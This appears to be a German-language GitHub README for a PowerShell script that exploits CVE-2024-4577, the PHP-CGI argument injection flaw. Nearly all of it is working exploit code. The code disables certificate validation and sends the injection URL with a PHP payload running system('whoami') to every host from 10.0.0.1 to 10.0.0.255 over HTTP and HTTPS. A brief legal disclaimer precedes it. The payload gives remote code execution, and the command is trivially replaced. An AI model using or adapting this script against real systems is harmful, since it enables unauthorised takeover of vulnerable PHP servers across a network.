tntrock/cve-2024-4577_powershellScannen von CVE-2024-4577 mit PowsrShell
Bitte beachten:
Stellen Sie sicher, dass Sie für derartige Penetrationstests in der Zielumgebung autorisiert sind. Die unbefugte Verwendung von Angriffstechniken kann gegen geltendes Recht verstoßen.
Das Programm dient ausschließlich zu Bildungs- und Forschungszwecken. Bitte verwenden Sie es nur im legalen und ethischen Rahmen.
Wenn Sie die möglichen Konsequenzen von Penetrationstests nicht verstehen, wird empfohlen, einen Red-Team-Experten mit der Durchführung der Tests zu beauftragen.
Zuerst die Webserver-Zertifikatsprüfung ignorieren
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Haupt-Angriffs-Payload
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"
Als Funktion verpacken und mit dem in PowerShell integrierten Invoke-WebRequest senden (die TimeoutSec-Einstellung kann bei Bedarf angepasst werden)
function Invoke-RequestForIP {
param (
[string]$IP,
[string]$Protocol
)
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"
try {
$response = Invoke-WebRequest -Uri $url -Method Post -Body $body -UseBasicParsing -TimeoutSec 2
return $response.Content
} catch {
return $_.Exception.Message
}
}
Über eine Schleife die IP-Adressen 10.0.0.1 bis 10.0.0.255 scannen
$baseIP = "10.0.0."
$start = 1
$end = 255
for ($i = $start; $i -le $end; $i++) {
$currentIP = $baseIP + $i
foreach ($protocol in @("http", "https")) {
$result = Invoke-RequestForIP -IP $currentIP -Protocol $protocol
Write-Output "IP: $currentIP, Protocol: $protocol, Result: $result"
}
}
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability
https://nvd.nist.gov/vuln/detail/cve-2024-4577